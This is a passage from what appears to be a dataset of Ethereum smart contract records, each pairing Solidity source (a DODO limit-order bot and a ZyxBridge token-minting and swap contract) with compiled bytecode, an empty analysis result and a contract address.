bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/DODOLimitOrderBot.sol
/**
* @title DODOLimitOrderBot
* @author DODO Breeder
*/
contract DODOLimitOrderBot is InitializableOwnable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
//=============== Storage ===============
address public _DODO_LIMIT_ORDER_;
address public _TOKEN_RECEIVER_;
address public _DODO_APPROVE_;
mapping (address => bool) public isAdminListed;
//=============== Event ===============
event addAdmin(address admin);
event removeAdmin(address admin);
event changeReceiver(address newReceiver);
event Fill();
function init(
address owner,
address dodoLimitOrder,
address tokenReceiver,
address dodoApprove
) external {
initOwner(owner);
_DODO_LIMIT_ORDER_ = dodoLimitOrder;
_TOKEN_RECEIVER_ = tokenReceiver;
_DODO_APPROVE_ = dodoApprove;
}
function fillDODOLimitOrder(
bytes memory callExternalData, //call DODOLimitOrder
address takerToken,
uint256 minTakerTokenAmount
) external {
require(isAdminListed[msg.sender], "ACCESS_DENIED");
uint256 originTakerBalance = IERC20(takerToken).balanceOf(address(this));
(bool success, ) = _DODO_LIMIT_ORDER_.call(callExternalData);
require(success, "EXEC_DODO_LIMIT_ORDER_ERROR");
uint256 takerBalance = IERC20(takerToken).balanceOf(address(this));
uint256 leftTakerAmount = takerBalance.sub(originTakerBalance);
require(leftTakerAmount >= minTakerTokenAmount, "TAKER_AMOUNT_NOT_ENOUGH");
IERC20(takerToken).safeTransfer(_TOKEN_RECEIVER_, leftTakerAmount);
emit Fill();
}
//call by DODOLimitOrder
function doLimitOrderSwap(
uint256 curTakerFillAmount,
uint256 curMakerFillAmount,
address makerToken, //fromToken
address takerToken, //toToken
address dodoRouteProxy,
bytes memory dodoApiData
) external {
require(msg.sender == _DODO_LIMIT_ORDER_, "ACCESS_NENIED");
uint256 originTakerBalance = IERC20(takerToken).balanceOf(address(this));
_approveMax(IERC20(makerToken), _DODO_APPROVE_, curMakerFillAmount);
(bool success, ) = dodoRouteProxy.call(dodoApiData);
require(success, "API_SWAP_FAILED");
uint256 takerBalance = IERC20(takerToken).balanceOf(address(this));
uint256 returnTakerAmount = takerBalance.sub(originTakerBalance);
require(returnTakerAmount >= curTakerFillAmount, "SWAP_TAKER_AMOUNT_NOT_ENOUGH");
_approveMax(IERC20(takerToken), _DODO_LIMIT_ORDER_, curTakerFillAmount);
}
//============ Ownable ============
function addAdminList (address userAddr) external onlyOwner {
isAdminListed[userAddr] = true;
emit addAdmin(userAddr);
}
function removeAdminList (address userAddr) external onlyOwner {
isAdminListed[userAddr] = false;
emit removeAdmin(userAddr);
}
function changeTokenReceiver(address newTokenReceiver) external onlyOwner {
_TOKEN_RECEIVER_ = newTokenReceiver;
emit changeReceiver(newTokenReceiver);
}
//============ internal ============
function _approveMax(IERC20 token,address to,uint256 amount) internal {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, type(uint256).max);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80634e71e0c811610097578063b074a78911610066578063b074a789146101ff578063bc2790c814610212578063f2fde38b14610225578063fd8bd8491461023857600080fd5b80634e71e0c8146101be5780638456db15146101c657806389143c25146101d9578063ae52aae7146101ec57600080fd5b80631822c0c0116100d35780631822c0c014610152578063272a16bd146101855780633b66b6151461019857806346e74298146101ab57600080fd5b806306552ff3146100fa5780630d0092971461010f57806316048bc414610122575b600080fd5b61010d610108366004610f6d565b61024b565b005b61010d61011d366004610f53565b610294565b600054610135906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b610175610160366004610f53565b60056020526000908152604090205460ff1681565b6040519015158152602001610149565b61010d610193366004610fe0565b61031c565b600354610135906001600160a01b031681565b600454610135906001600160a01b031681565b61010d6105c1565b600154610135906001600160a01b031681565b61010d6101e736600461104d565b61066f565b61010d6101fa366004610f53565b6108eb565b600254610135906001600160a01b031681565b61010d610220366004610f53565b610970565b61010d610233366004610f53565b6109e8565b61010d610246366004610f53565b610a6d565b61025484610294565b600280546001600160a01b039485166001600160a01b03199182161790915560038054938516938216939093179092556004805491909316911617905550565b600154600160a01b900460ff16156102e65760405162461bcd60e51b815260206004820152601060248201526f1113d113d7d25392551250531256915160821b60448201526064015b60405180910390fd5b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b3360009081526005602052604090205460ff1661036b5760405162461bcd60e51b815260206004820152600d60248201526c1050d0d154d4d7d11153925151609a1b60448201526064016102dd565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b1580156103ad57600080fd5b505afa1580156103c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e59190611035565b6002546040519192506000916001600160a01b03909116906104089087906110cc565b6000604051808303816000865af19150503d8060008114610445576040519150601f19603f3d011682016040523d82523d6000602084013e61044a565b606091505b505090508061049b5760405162461bcd60e51b815260206004820152601b60248201527f455845435f444f444f5f4c494d49545f4f524445525f4552524f52000000000060448201526064016102dd565b6040516370a0823160e01b81523060048201526000906001600160a01b038616906370a082319060240160206040518083038186803b1580156104dd57600080fd5b505afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190611035565b905060006105238285610ae8565b9050848110156105755760405162461bcd60e51b815260206004820152601760248201527f54414b45525f414d4f554e545f4e4f545f454e4f55474800000000000000000060448201526064016102dd565b60035461058f906001600160a01b03888116911683610b37565b6040517fcb78302ec72136bfa852ed66b453ff3802e5959bb4df8386cd9695cae88de2e990600090a150505050505050565b6001546001600160a01b0316331461060b5760405162461bcd60e51b815260206004820152600d60248201526c494e56414c49445f434c41494d60981b60448201526064016102dd565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6002546001600160a01b031633146106b95760405162461bcd60e51b815260206004820152600d60248201526c1050d0d154d4d7d39153925151609a1b60448201526064016102dd565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a082319060240160206040518083038186803b1580156106fb57600080fd5b505afa15801561070f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107339190611035565b60045490915061074e9086906001600160a01b031688610b9f565b6000836001600160a01b03168360405161076891906110cc565b6000604051808303816000865af19150503d80600081146107a5576040519150601f19603f3d011682016040523d82523d6000602084013e6107aa565b606091505b50509050806107ed5760405162461bcd60e51b815260206004820152600f60248201526e10541257d4d5d05417d19052531151608a1b60448201526064016102dd565b6040516370a0823160e01b81523060048201526000906001600160a01b038716906370a082319060240160206040518083038186803b15801561082f57600080fd5b505afa158015610843573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108679190611035565b905060006108758285610ae8565b9050898110156108c75760405162461bcd60e51b815260206004820152601c60248201527f535741505f54414b45525f414d4f554e545f4e4f545f454e4f5547480000000060448201526064016102dd565b6002546108df9088906001600160a01b03168c610b9f565b50505050505050505050565b6000546001600160a01b031633146109155760405162461bcd60e51b81526004016102dd90611105565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f7048027520ecbaa8947764cd502c5c78c2c53bbd902e06b108da1cbdf98c6fc491015b60405180910390a150565b6000546001600160a01b0316331461099a5760405162461bcd60e51b81526004016102dd90611105565b600380546001600160a01b0319166001600160a01b0383169081179091556040519081527f547e3f060aba0f7eec865fc52a952a5148e4903d709e38cde9c93b655ce0b05790602001610965565b6000546001600160a01b03163314610a125760405162461bcd60e51b81526004016102dd90611105565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a975760405162461bcd60e51b81526004016102dd90611105565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f1785f53c768259a7ab38ed67e958aab075b56ff206e3d7f29ea4ca203d1a97749101610965565b600082821115610b265760405162461bcd60e51b815260206004820152600960248201526829aaa12fa2a92927a960b91b60448201526064016102dd565b610b308284611128565b9392505050565b6040516001600160a01b038316602482015260448101829052610b9a90849063a9059cbb60e01b906064015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610c63565b505050565b604051636eb1769f60e11b81523060048201526001600160a01b0383811660248301526000919085169063dd62ed3e9060440160206040518083038186803b158015610bea57600080fd5b505afa158015610bfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c229190611035565b905081811015610c5d578015610c4757610c476001600160a01b038516846000610d8c565b610c5d6001600160a01b03851684600019610d8c565b50505050565b600080836001600160a01b031683604051610c7e91906110cc565b6000604051808303816000865af19150503d8060008114610cbb576040519150601f19603f3d011682016040523d82523d6000602084013e610cc0565b606091505b509150915081610d125760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016102dd565b805115610c5d5780806020019051810190610d2d9190610fc0565b610c5d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016102dd565b801580610e155750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015610ddb57600080fd5b505afa158015610def573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e139190611035565b155b610e805760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b60648201526084016102dd565b6040516001600160a01b038316602482015260448101829052610b9a90849063095ea7b360e01b90606401610b63565b80356001600160a01b0381168114610ec757600080fd5b919050565b600082601f830112610edc578081fd5b813567ffffffffffffffff80821115610ef757610ef761114b565b604051601f8301601f19908116603f01168101908282118183101715610f1f57610f1f61114b565b81604052838152866020858801011115610f37578485fd5b8360208701602083013792830160200193909352509392505050565b600060208284031215610f64578081fd5b610b3082610eb0565b60008060008060808587031215610f82578283fd5b610f8b85610eb0565b9350610f9960208601610eb0565b9250610fa760408601610eb0565b9150610fb560608601610eb0565b905092959194509250565b600060208284031215610fd1578081fd5b81518015158114610b30578182fd5b600080600060608486031215610ff4578283fd5b833567ffffffffffffffff81111561100a578384fd5b61101686828701610ecc565b93505061102560208501610eb0565b9150604084013590509250925092565b600060208284031215611046578081fd5b5051919050565b60008060008060008060c08789031215611065578182fd5b863595506020870135945061107c60408801610eb0565b935061108a60608801610eb0565b925061109860808801610eb0565b915060a087013567ffffffffffffffff8111156110b3578182fd5b6110bf89828a01610ecc565b9150509295509295509295565b60008251815b818110156110ec57602081860181015185830152016110d2565b818111156110fa5782828501525b509190910192915050565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60008282101561114657634e487b7160e01b81526011600452602481fd5b500390565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220821ed3bcf10b31ef8bcfdb30ed88a198db0952d707c52f1599b2d1b3a230228864736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 6,093 |
0xCe54E655fF7d0d2D35455242d9Dd561DF32bf50C
|
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface ZyxToken {
function mint(address _to, uint256 _amount) external;
function transferOwnership(address newOwner) external virtual;
}
interface ZyxTokenManager {
function distributeReward(uint256 amount) external;
function transferOwnership(address newOwner) external virtual;
}
contract ZyxBridge is Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
ZyxToken public zyx;
ZyxTokenManager public zyxTokenManager;
address public weth;
constructor (IUniswapV2Router02 _router, address _weth, ZyxToken _zyx, ZyxTokenManager _zyxTokenManager) public {
setParams(_router,_weth,_zyx,_zyxTokenManager);
}
receive() external payable {}
function setParams(IUniswapV2Router02 _router, address _weth, ZyxToken _zyx, ZyxTokenManager _zyxTokenManager) public onlyOwner {
uniswapV2Router = _router;
weth = _weth;
zyx = _zyx;
zyxTokenManager = _zyxTokenManager;
}
function mintBridge(address to, uint256 amount, uint256 commision) public payable onlyOwner {
address[] memory path = new address[](2);
path[0] = address(zyx);
path[1] = weth;
zyx.mint(to, amount);
zyx.mint(address(this), commision);
path[0].call(abi.encodeWithSignature("approve(address,uint256)", address(uniswapV2Router), commision));
address(uniswapV2Router).call(
abi.encodePacked(
uniswapV2Router.swapExactTokensForETH.selector,
abi.encode(commision, 0, path, msg.sender, block.timestamp)
)
);
}
function distributeReward(uint256 amount) public onlyOwner {
zyx.mint(address(zyxTokenManager),amount);
zyxTokenManager.distributeReward(amount);
}
function mint(address to, uint256 amount) public onlyOwner {
zyx.mint(to,amount);
}
/**
* Functions that for transfer money for commision, etc.
**/
function transferZyx(address to) public onlyOwner{
zyx.transferOwnership(to);
}
function transferFarm(address to) public onlyOwner {
zyxTokenManager.transferOwnership(to);
}
function withdrawERC20DelegatePayable(address contractAddress, uint256 amount) public payable onlyOwner {
contractAddress.call.value(0)(abi.encodeWithSignature("transfer(address,uint256)", msg.sender, amount));
}
function withdrawERC20Delegate(address contractAddress, uint256 amount) public onlyOwner {
contractAddress.call(abi.encodeWithSignature("transfer(address,uint256)", msg.sender, amount));
}
function withdrawETH() public payable onlyOwner {
msg.sender.transfer(address(this).balance);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c5ecaacd11610059578063c5ecaacd146104b7578063e086e5ec146104f8578063e8a94c5114610502578063f2fde38b14610553576100fe565b8063715018a6146103e35780638da5cb5b146103fa578063940a4e451461043b578063becaff9214610476576100fe565b806340c10f19116100c657806340c10f191461028757806347756ca1146102e257806356c1d9b014610330578063605fd19e14610388576100fe565b80631694505e146101035780631a9eb353146101445780633dd5f1a4146101955780633fc8cef314610246576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186105a4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561015057600080fd5b506101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105ca565b005b3480156101a157600080fd5b50610244600480360360808110156101b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610738565b005b34801561025257600080fd5b5061025b61090a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029357600080fd5b506102e0600480360360408110156102aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610930565b005b61032e600480360360408110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa7565b005b6103866004803603606081101561034657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610cd5565b005b34801561039457600080fd5b506103e1600480360360408110156103ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113b5565b005b3480156103ef57600080fd5b506103f86115e1565b005b34801561040657600080fd5b5061040f611767565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044757600080fd5b506104746004803603602081101561045e57600080fd5b8101908080359060200190929190505050611790565b005b34801561048257600080fd5b5061048b6119b5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104c357600080fd5b506104cc6119db565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610500611a01565b005b34801561050e57600080fd5b506105516004803603602081101561052557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b12565b005b34801561055f57600080fd5b506105a26004803603602081101561057657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c80565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6105d2611e8b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610692576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152